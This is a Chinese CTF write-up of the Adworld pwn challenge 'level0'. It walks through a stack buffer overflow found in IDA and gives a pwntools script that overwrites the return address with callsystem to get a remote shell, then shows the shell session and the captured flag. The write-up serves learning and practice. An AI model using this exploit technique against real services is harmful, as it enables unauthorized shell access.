攻防世界pwn题level0

柔情只为你懂 2022-12-03 08:38 158阅读 0赞

## 查壳64bit ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NvbmxpbmRlckZlbmc_size_16_color_FFFFFF_t_70_pic_center]

## 拖进IDA ##

**f5查看伪代码**  
![在这里插入图片描述][20200902104618905.png_pic_center]  
**vulnerable\_function中文译为脆弱函数，可疑，点进去查看vulnerable函数。**

![在这里插入图片描述][2020090210480229.png_pic_center]  
**buf数组距离栈帧顶部rsp为0h，距离栈帧顶部rbp为80h，可知buf长度为0x80.**  
**查看vulnerable函数栈**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NvbmxpbmRlckZlbmc_size_16_color_FFFFFF_t_70_pic_center 1]  
**s代表save ebp,长度8个字节  
r代表return address,长度8个字节,通常只要覆盖4个字节。**  
![在这里插入图片描述][20200902105441181.png_pic_center]  
**查看callsystem函数，代码段地址为0x400596**

## 思路 ##

**把return address用callsystem函数的地址覆盖，获取shell。**

## 打开kali,建立exp ##

python2
    from pwn import *
    r=remote("220.249.52.133",54314)  #链接服务器远程交互，等同于nc ip 端口 命令
    elf = ELF('./level0')  # 以ELF文件格式读取level0文件,发现开启NX保护
    sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem标记的地址
    payload = 'a'*0x88+p64(sysaddr) #0x80覆盖buf,0x8覆盖save ebp，sysaddr覆盖return address
    r.recv()  # 接收输出“Hello World”
    r.sendline(payload) # 发送payload
    r.interactive() # 反弹shell进行交互

[*] Switching to interactive mode
    ls
    bin
    dev
    flag
    level0
    lib
    lib32
    lib64
    cat flag
    cyberpeace{ 5799d0ee3ff5479dd813681c431bc1d0}

**获取flag**  
**成功入坑，鼓掌**

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NvbmxpbmRlckZlbmc_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/c772ff6105714edfac6fec19c22e8784.png
[20200902104618905.png_pic_center]: /images/20221123/7afe89e60dd74a278e29bf4e76baf71c.png
[2020090210480229.png_pic_center]: /images/20221123/0bb02ae263b94110bac235d47902662b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NvbmxpbmRlckZlbmc_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221123/8a6fd051c44b4a059d1acaf71868d183.png
[20200902105441181.png_pic_center]: /images/20221123/9c6bbf2294ad49628d04a3d5a00c25b5.png